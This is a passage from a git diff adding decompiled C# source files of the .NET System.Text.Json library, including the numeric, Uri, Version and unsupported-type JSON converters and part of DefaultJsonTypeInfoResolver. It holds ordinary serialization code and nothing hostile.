utf8Destination[..reader.CopyString(utf8Destination)]; + } + byte b = source[0]; + if (!JsonHelpers.IsDigit(b) && b != 45) + { + ThrowHelper.ThrowFormatException(DataType.TimeSpan); + } + if (!Utf8Parser.TryParse(source, out TimeSpan value, out int bytesConsumed, 'c') || source.Length != bytesConsumed) + { + ThrowHelper.ThrowFormatException(DataType.TimeSpan); + } + return value; + } + + public override void Write(Utf8JsonWriter writer, TimeSpan value, JsonSerializerOptions options) + { + Span destination = stackalloc byte[26]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten, 'c'); + writer.WriteStringValue(destination.Slice(0, bytesWritten)); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, TimeSpan value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + Span destination = stackalloc byte[26]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten, 'c'); + writer.WritePropertyName(destination.Slice(0, bytesWritten)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt16Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt16Converter.cs new file mode 100644 index 0000000..2f98097 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt16Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class UInt16Converter : JsonPrimitiveConverter +{ + public UInt16Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override ushort Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt16(); + } + + public override void Write(Utf8JsonWriter writer, ushort value, JsonSerializerOptions options) + { + writer.WriteNumberValue((long)value); + } + + internal override ushort ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt16WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, ushort value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override ushort ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetUInt16WithQuotes(); + } + return reader.GetUInt16(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, ushort value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue((long)value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt32Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt32Converter.cs new file mode 100644 index 0000000..3cbecef --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt32Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class UInt32Converter : JsonPrimitiveConverter +{ + public UInt32Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override uint Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt32(); + } + + public override void Write(Utf8JsonWriter writer, uint value, JsonSerializerOptions options) + { + writer.WriteNumberValue((ulong)value); + } + + internal override uint ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt32WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, uint value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override uint ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetUInt32WithQuotes(); + } + return reader.GetUInt32(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, uint value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue((ulong)value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt64Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt64Converter.cs new file mode 100644 index 0000000..995b155 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UInt64Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class UInt64Converter : JsonPrimitiveConverter +{ + public UInt64Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override ulong Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt64(); + } + + public override void Write(Utf8JsonWriter writer, ulong value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override ulong ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetUInt64WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, ulong value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override ulong ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetUInt64WithQuotes(); + } + return reader.GetUInt64(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, ulong value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverter.cs new file mode 100644 index 0000000..873d154 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverter.cs @@ -0,0 +1,23 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class UnsupportedTypeConverter : JsonConverter +{ + private readonly string _errorMessage; + + public string ErrorMessage => _errorMessage ?? System.SR.Format(System.SR.SerializeTypeInstanceNotSupported, typeof(T).FullName); + + public UnsupportedTypeConverter(string errorMessage = null) + { + _errorMessage = errorMessage; + } + + public override T Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + throw new NotSupportedException(ErrorMessage); + } + + public override void Write(Utf8JsonWriter writer, T value, JsonSerializerOptions options) + { + throw new NotSupportedException(ErrorMessage); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverterFactory.cs new file mode 100644 index 0000000..03f656d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UnsupportedTypeConverterFactory.cs @@ -0,0 +1,28 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Runtime.Serialization; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class UnsupportedTypeConverterFactory : JsonConverterFactory +{ + public override bool CanConvert(Type type) + { + if (!typeof(MemberInfo).IsAssignableFrom(type) && !(type == typeof(SerializationInfo)) && !(type == typeof(IntPtr)) && !(type == typeof(UIntPtr))) + { + return typeof(Delegate).IsAssignableFrom(type); + } + return true; + } + + public override JsonConverter CreateConverter(Type type, JsonSerializerOptions options) + { + return CreateUnsupportedConverterForType(type); + } + + internal static JsonConverter CreateUnsupportedConverterForType(Type type, string errorMessage = null) + { + return (JsonConverter)Activator.CreateInstance(typeof(UnsupportedTypeConverter<>).MakeGenericType(type), BindingFlags.Instance | BindingFlags.Public, null, new object[1] { errorMessage }, null); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UriConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UriConverter.cs new file mode 100644 index 0000000..bef4e84 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/UriConverter.cs @@ -0,0 +1,49 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class UriConverter : JsonPrimitiveConverter +{ + public override Uri Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType != JsonTokenType.Null) + { + return ReadCore(ref reader); + } + return null; + } + + public override void Write(Utf8JsonWriter writer, Uri value, JsonSerializerOptions options) + { + if ((object)value == null) + { + writer.WriteNullValue(); + } + else + { + writer.WriteStringValue(value.OriginalString); + } + } + + internal override Uri ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return ReadCore(ref reader); + } + + private static Uri ReadCore(ref Utf8JsonReader reader) + { + string uriString = reader.GetString(); + if (!Uri.TryCreate(uriString, UriKind.RelativeOrAbsolute, out Uri result)) + { + ThrowHelper.ThrowJsonException(); + } + return result; + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, Uri value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + if ((object)value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + writer.WritePropertyName(value.OriginalString); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/VersionConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/VersionConverter.cs new file mode 100644 index 0000000..258031b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/VersionConverter.cs @@ -0,0 +1,58 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class VersionConverter : JsonPrimitiveConverter +{ + public override Version Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + if (reader.TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(reader.TokenType); + } + return ReadCore(ref reader); + } + + private static Version ReadCore(ref Utf8JsonReader reader) + { + string text = reader.GetString(); + if (!string.IsNullOrEmpty(text) && (!char.IsDigit(text[0]) || !char.IsDigit(text[text.Length - 1]))) + { + ThrowHelper.ThrowFormatException(DataType.Version); + } + if (Version.TryParse(text, out Version result)) + { + return result; + } + ThrowHelper.ThrowJsonException(); + return null; + } + + public override void Write(Utf8JsonWriter writer, Version value, JsonSerializerOptions options) + { + if ((object)value == null) + { + writer.WriteNullValue(); + } + else + { + writer.WriteStringValue(value.ToString()); + } + } + + internal override Version ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return ReadCore(ref reader); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, Version value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + if ((object)value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + writer.WritePropertyName(value.ToString()); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/DefaultJsonTypeInfoResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/DefaultJsonTypeInfoResolver.cs new file mode 100644 index 0000000..4dd2afb --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/DefaultJsonTypeInfoResolver.cs @@ -0,0 +1,575 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Text.Json.Reflection; +using System.Text.Json.Serialization.Converters; +using System.Threading; + +namespace System.Text.Json.Serialization.Metadata; + +public class DefaultJsonTypeInfoResolver : IJsonTypeInfoResolver, IBuiltInJsonTypeInfoResolver +{ + private sealed class ModifierCollection : ConfigurationList> + { + private readonly DefaultJsonTypeInfoResolver _resolver; + + public override bool IsReadOnly => !_resolver._mutable; + + public ModifierCollection(DefaultJsonTypeInfoResolver resolver) + : base((IEnumerable>)null) + { + _resolver = resolver; + } + + protected override void OnCollectionModifying() + { + if (!_resolver._mutable) + { + ThrowHelper.ThrowInvalidOperationException_DefaultTypeInfoResolverImmutable(); + } + } + } + + private static Dictionary s_defaultSimpleConverters; + + private static JsonConverterFactory[] s_defaultFactoryConverters; + + private static MemberAccessor s_memberAccessor; + + private bool _mutable; + + private ModifierCollection _modifiers; + + private static DefaultJsonTypeInfoResolver s_defaultInstance; + + internal static MemberAccessor MemberAccessor + { + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + get + { + return s_memberAccessor ?? (s_memberAccessor = new ReflectionEmitCachingMemberAccessor()); + } + } + + public IList> Modifiers => _modifiers ?? (_modifiers = new ModifierCollection(this)); + + internal static bool IsDefaultInstanceRooted => s_defaultInstance != null; + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonConverterFactory[] GetDefaultFactoryConverters() + { + return new JsonConverterFactory[9] + { + new UnsupportedTypeConverterFactory(), + new NullableConverterFactory(), + new EnumConverterFactory(), + new JsonNodeConverterFactory(), + new FSharpTypeConverterFactory(), + new MemoryConverterFactory(), + new IAsyncEnumerableConverterFactory(), + new IEnumerableConverterFactory(), + new ObjectConverterFactory() + }; + } + + private static Dictionary GetDefaultSimpleConverters() + { + Dictionary converters = new Dictionary(31); + Add(JsonMetadataServices.BooleanConverter); + Add(JsonMetadataServices.ByteConverter); + Add(JsonMetadataServices.ByteArrayConverter); + Add(JsonMetadataServices.CharConverter); + Add(JsonMetadataServices.DateTimeConverter); + Add(JsonMetadataServices.DateTimeOffsetConverter); + Add(JsonMetadataServices.DoubleConverter); + Add(JsonMetadataServices.DecimalConverter); + Add(JsonMetadataServices.GuidConverter); + Add(JsonMetadataServices.Int16Converter); + Add(JsonMetadataServices.Int32Converter); + Add(JsonMetadataServices.Int64Converter); + Add(JsonMetadataServices.JsonElementConverter); + Add(JsonMetadataServices.JsonDocumentConverter); + Add(JsonMetadataServices.MemoryByteConverter); + Add(JsonMetadataServices.ReadOnlyMemoryByteConverter); + Add(JsonMetadataServices.ObjectConverter); + Add(JsonMetadataServices.SByteConverter); + Add(JsonMetadataServices.SingleConverter); + Add(JsonMetadataServices.StringConverter); + Add(JsonMetadataServices.TimeSpanConverter); + Add(JsonMetadataServices.UInt16Converter); + Add(JsonMetadataServices.UInt32Converter); + Add(JsonMetadataServices.UInt64Converter); + Add(JsonMetadataServices.UriConverter); + Add(JsonMetadataServices.VersionConverter); + return converters; + void Add(JsonConverter converter) + { + converters.Add(converter.Type, converter); + } + } + + private static JsonConverter GetBuiltInConverter(Type typeToConvert) + { + if (s_defaultSimpleConverters.TryGetValue(typeToConvert, out var value)) + { + return value; + } + JsonConverterFactory[] array = s_defaultFactoryConverters; + foreach (JsonConverterFactory jsonConverterFactory in array) + { + if (jsonConverterFactory.CanConvert(typeToConvert)) + { + return jsonConverterFactory; + } + } + return value; + } + + internal static bool TryGetDefaultSimpleConverter(Type typeToConvert, [NotNullWhen(true)] out JsonConverter converter) + { + if (s_defaultSimpleConverters == null) + { + converter = null; + return false; + } + return s_defaultSimpleConverters.TryGetValue(typeToConvert, out converter); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonConverter GetCustomConverterForMember(Type typeToConvert, MemberInfo memberInfo, JsonSerializerOptions options) + { + JsonConverterAttribute uniqueCustomAttribute = memberInfo.GetUniqueCustomAttribute(inherit: false); + if (uniqueCustomAttribute != null) + { + return GetConverterFromAttribute(uniqueCustomAttribute, typeToConvert, memberInfo, options); + } + return null; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal static JsonConverter GetConverterForType(Type typeToConvert, JsonSerializerOptions options, bool resolveJsonConverterAttribute = true) + { + RootDefaultInstance(); + JsonConverter jsonConverter = options.GetConverterFromList(typeToConvert); + if (resolveJsonConverterAttribute && jsonConverter == null) + { + JsonConverterAttribute uniqueCustomAttribute = typeToConvert.GetUniqueCustomAttribute(inherit: false); + if (uniqueCustomAttribute != null) + { + jsonConverter = GetConverterFromAttribute(uniqueCustomAttribute, typeToConvert, null, options); + } + } + if (jsonConverter == null) + { + jsonConverter = GetBuiltInConverter(typeToConvert); + } + jsonConverter = options.ExpandConverterFactory(jsonConverter, typeToConvert); + if (!jsonConverter.Type.IsInSubtypeRelationshipWith(typeToConvert)) + { + ThrowHelper.ThrowInvalidOperationException_SerializationConverterNotCompatible(jsonConverter.GetType(), typeToConvert); + } + JsonSerializerOptions.CheckConverterNullabilityIsSameAsPropertyType(jsonConverter, typeToConvert); + return jsonConverter; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonConverter GetConverterFromAttribute(JsonConverterAttribute converterAttribute, Type typeToConvert, MemberInfo memberInfo, JsonSerializerOptions options) + { + Type type = memberInfo?.DeclaringType ?? typeToConvert; + Type converterType = converterAttribute.ConverterType; + JsonConverter jsonConverter; + if (converterType == null) + { + jsonConverter = converterAttribute.CreateConverter(typeToConvert); + if (jsonConverter == null) + { + ThrowHelper.ThrowInvalidOperationException_SerializationConverterOnAttributeNotCompatible(type, memberInfo, typeToConvert); + } + } + else + { + ConstructorInfo constructor = converterType.GetConstructor(Type.EmptyTypes); + if (!typeof(JsonConverter).IsAssignableFrom(converterType) || constructor == null || !constructor.IsPublic) + { + ThrowHelper.ThrowInvalidOperationException_SerializationConverterOnAttributeInvalid(type, memberInfo); + } + jsonConverter = (JsonConverter)Activator.CreateInstance(converterType); + } + if (!jsonConverter.CanConvert(typeToConvert)) + { + Type underlyingType = Nullable.GetUnderlyingType(typeToConvert); + if (underlyingType != null && jsonConverter.CanConvert(underlyingType)) + { + if (jsonConverter is JsonConverterFactory jsonConverterFactory) + { + jsonConverter = jsonConverterFactory.GetConverterInternal(underlyingType, options); + } + return NullableConverterFactory.CreateValueConverter(underlyingType, jsonConverter); + } + ThrowHelper.ThrowInvalidOperationException_SerializationConverterOnAttributeNotCompatible(type, memberInfo, typeToConvert); + } + return jsonConverter; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonTypeInfo CreateTypeInfoCore(Type type, JsonConverter converter, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = JsonTypeInfo.CreateJsonTypeInfo(type, converter, options); + JsonNumberHandling? numberHandlingForType = GetNumberHandlingForType(jsonTypeInfo.Type); + if (numberHandlingForType.HasValue) + { + JsonNumberHandling valueOrDefault = numberHandlingForType.GetValueOrDefault(); + jsonTypeInfo.NumberHandling = valueOrDefault; + } + JsonObjectCreationHandling? objectCreationHandlingForType = GetObjectCreationHandlingForType(jsonTypeInfo.Type); + if (objectCreationHandlingForType.HasValue) + { + JsonObjectCreationHandling valueOrDefault2 = objectCreationHandlingForType.GetValueOrDefault(); + jsonTypeInfo.PreferredPropertyObjectCreationHandling = valueOrDefault2; + } + JsonUnmappedMemberHandling? unmappedMemberHandling = GetUnmappedMemberHandling(jsonTypeInfo.Type); + if (unmappedMemberHandling.HasValue) + { + JsonUnmappedMemberHandling valueOrDefault3 = unmappedMemberHandling.GetValueOrDefault(); + jsonTypeInfo.UnmappedMemberHandling = valueOrDefault3; + } + jsonTypeInfo.PopulatePolymorphismMetadata(); + jsonTypeInfo.MapInterfaceTypesToCallbacks(); + Func func = DetermineCreateObjectDelegate(type, converter); + jsonTypeInfo.SetCreateObjectIfCompatible(func); + jsonTypeInfo.CreateObjectForExtensionDataProperty = func; + if (jsonTypeInfo.Kind == JsonTypeInfoKind.Object) + { + PopulateProperties(jsonTypeInfo); + if (converter.ConstructorIsParameterized) + { + PopulateParameterInfoValues(jsonTypeInfo); + } + } + converter.ConfigureJsonTypeInfo(jsonTypeInfo, options); + converter.ConfigureJsonTypeInfoUsingReflection(jsonTypeInfo, options); + return jsonTypeInfo; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static void PopulateProperties(JsonTypeInfo typeInfo) + { + bool constructorHasSetsRequiredMembersAttribute = typeInfo.Converter.ConstructorInfo?.HasSetsRequiredMembersAttribute() ?? false; + JsonTypeInfo.PropertyHierarchyResolutionState state = new JsonTypeInfo.PropertyHierarchyResolutionState(typeInfo.Options); + Type[] sortedTypeHierarchy = typeInfo.Type.GetSortedTypeHierarchy(); + foreach (Type type in sortedTypeHierarchy) + { + if (type == JsonTypeInfo.ObjectType || type == typeof(ValueType)) + { + break; + } + AddMembersDeclaredBySuperType(typeInfo, type, constructorHasSetsRequiredMembersAttribute, ref state); + } + if (state.IsPropertyOrderSpecified) + { + typeInfo.PropertyList.SortProperties(); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static void AddMembersDeclaredBySuperType(JsonTypeInfo typeInfo, Type currentType, bool constructorHasSetsRequiredMembersAttribute, ref JsonTypeInfo.PropertyHierarchyResolutionState state) + { + bool shouldCheckForRequiredKeyword = !constructorHasSetsRequiredMembersAttribute && currentType.HasRequiredMemberAttribute(); + PropertyInfo[] properties = currentType.GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + foreach (PropertyInfo propertyInfo in properties) + { + if (propertyInfo.GetIndexParameters().Length == 0 && !PropertyIsOverriddenAndIgnored(propertyInfo, state.IgnoredProperties)) + { + bool flag = propertyInfo.GetCustomAttribute(inherit: false) != null; + MethodInfo? getMethod = propertyInfo.GetMethod; + if (((object)getMethod != null && getMethod.IsPublic) || (propertyInfo.SetMethod?.IsPublic ?? false) || flag) + { + AddMember(typeInfo, propertyInfo.PropertyType, propertyInfo, shouldCheckForRequiredKeyword, flag, ref state); + } + } + } + FieldInfo[] fields = currentType.GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + foreach (FieldInfo fieldInfo in fields) + { + bool flag2 = fieldInfo.GetCustomAttribute(inherit: false) != null; + if (flag2 || (fieldInfo.IsPublic && typeInfo.Options.IncludeFields)) + { + AddMember(typeInfo, fieldInfo.FieldType, fieldInfo, shouldCheckForRequiredKeyword, flag2, ref state); + } + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static void AddMember(JsonTypeInfo typeInfo, Type typeToConvert, MemberInfo memberInfo, bool shouldCheckForRequiredKeyword, bool hasJsonIncludeAttribute, ref JsonTypeInfo.PropertyHierarchyResolutionState state) + { + JsonPropertyInfo jsonPropertyInfo = CreatePropertyInfo(typeInfo, typeToConvert, memberInfo, typeInfo.Options, shouldCheckForRequiredKeyword, hasJsonIncludeAttribute); + if (jsonPropertyInfo != null) + { + typeInfo.PropertyList.AddPropertyWithConflictResolution(jsonPropertyInfo, ref state); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonPropertyInfo CreatePropertyInfo(JsonTypeInfo typeInfo, Type typeToConvert, MemberInfo memberInfo, JsonSerializerOptions options, bool shouldCheckForRequiredKeyword, bool hasJsonIncludeAttribute) + { + JsonIgnoreCondition? jsonIgnoreCondition = memberInfo.GetCustomAttribute(inherit: false)?.Condition; + if (JsonTypeInfo.IsInvalidForSerialization(typeToConvert)) + { + if (jsonIgnoreCondition == JsonIgnoreCondition.Always) + { + return null; + } + ThrowHelper.ThrowInvalidOperationException_CannotSerializeInvalidType(typeToConvert, memberInfo.DeclaringType, memberInfo); + } + JsonConverter customConverterForMember; + try + { + customConverterForMember = GetCustomConverterForMember(typeToConvert, memberInfo, options); + } + catch (InvalidOperationException) when (jsonIgnoreCondition == JsonIgnoreCondition.Always) + { + return null; + } + JsonPropertyInfo jsonPropertyInfo = typeInfo.CreatePropertyUsingReflection(typeToConvert, memberInfo.DeclaringType); + PopulatePropertyInfo(jsonPropertyInfo, memberInfo, customConverterForMember, jsonIgnoreCondition, shouldCheckForRequiredKeyword, hasJsonIncludeAttribute); + return jsonPropertyInfo; + } + + private static JsonNumberHandling? GetNumberHandlingForType(Type type) + { + return type.GetUniqueCustomAttribute(inherit: false)?.Handling; + } + + private static JsonObjectCreationHandling? GetObjectCreationHandlingForType(Type type) + { + return type.GetUniqueCustomAttribute(inherit: false)?.Handling; + } + + private static JsonUnmappedMemberHandling? GetUnmappedMemberHandling(Type type) + { + return type.GetUniqueCustomAttribute(inherit: false)?.UnmappedMemberHandling; + } + + private static bool PropertyIsOverriddenAndIgnored(PropertyInfo propertyInfo, Dictionary ignoredMembers) + { + if (propertyInfo.IsVirtual() && ignoredMembers != null && ignoredMembers.TryGetValue(propertyInfo.Name, out var value) && value.IsVirtual) + { + return propertyInfo.PropertyType == value.PropertyType; + } + return false; + } + + private static void PopulateParameterInfoValues(JsonTypeInfo typeInfo) + { + ParameterInfo[] parameters = typeInfo.Converter.ConstructorInfo.GetParameters(); + int num = parameters.Length; + JsonParameterInfoValues[] array = new JsonParameterInfoValues[num]; + for (int i = 0; i < num; i++) + { + ParameterInfo parameterInfo = parameters[i]; + if (string.IsNullOrEmpty(parameterInfo.Name)) + { + ThrowHelper.ThrowNotSupportedException_ConstructorContainsNullParameterNames(typeInfo.Converter.ConstructorInfo.DeclaringType); + } + JsonParameterInfoValues jsonParameterInfoValues = new JsonParameterInfoValues + { + Name = parameterInfo.Name, + ParameterType = parameterInfo.ParameterType, + Position = parameterInfo.Position, + HasDefaultValue = parameterInfo.HasDefaultValue, + DefaultValue = parameterInfo.GetDefaultValue() + }; + array[i] = jsonParameterInfoValues; + } + typeInfo.ParameterInfoValues = array; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static void PopulatePropertyInfo(JsonPropertyInfo jsonPropertyInfo, MemberInfo memberInfo, JsonConverter customConverter, JsonIgnoreCondition? ignoreCondition, bool shouldCheckForRequiredKeyword, bool hasJsonIncludeAttribute) + { + ICustomAttributeProvider customAttributeProvider = (jsonPropertyInfo.AttributeProvider = memberInfo); + ICustomAttributeProvider customAttributeProvider3 = customAttributeProvider; + if (!(customAttributeProvider3 is PropertyInfo propertyInfo)) + { + if (customAttributeProvider3 is FieldInfo fieldInfo) + { + jsonPropertyInfo.MemberName = fieldInfo.Name; + jsonPropertyInfo.MemberType = MemberTypes.Field; + } + } + else + { + jsonPropertyInfo.MemberName = propertyInfo.Name; + jsonPropertyInfo.IsVirtual = propertyInfo.IsVirtual(); + jsonPropertyInfo.MemberType = MemberTypes.Property; + } + jsonPropertyInfo.CustomConverter = customConverter; + DeterminePropertyPolicies(jsonPropertyInfo, memberInfo); + DeterminePropertyName(jsonPropertyInfo, memberInfo); + DeterminePropertyIsRequired(jsonPropertyInfo, memberInfo, shouldCheckForRequiredKeyword); + if (ignoreCondition != JsonIgnoreCondition.Always) + { + 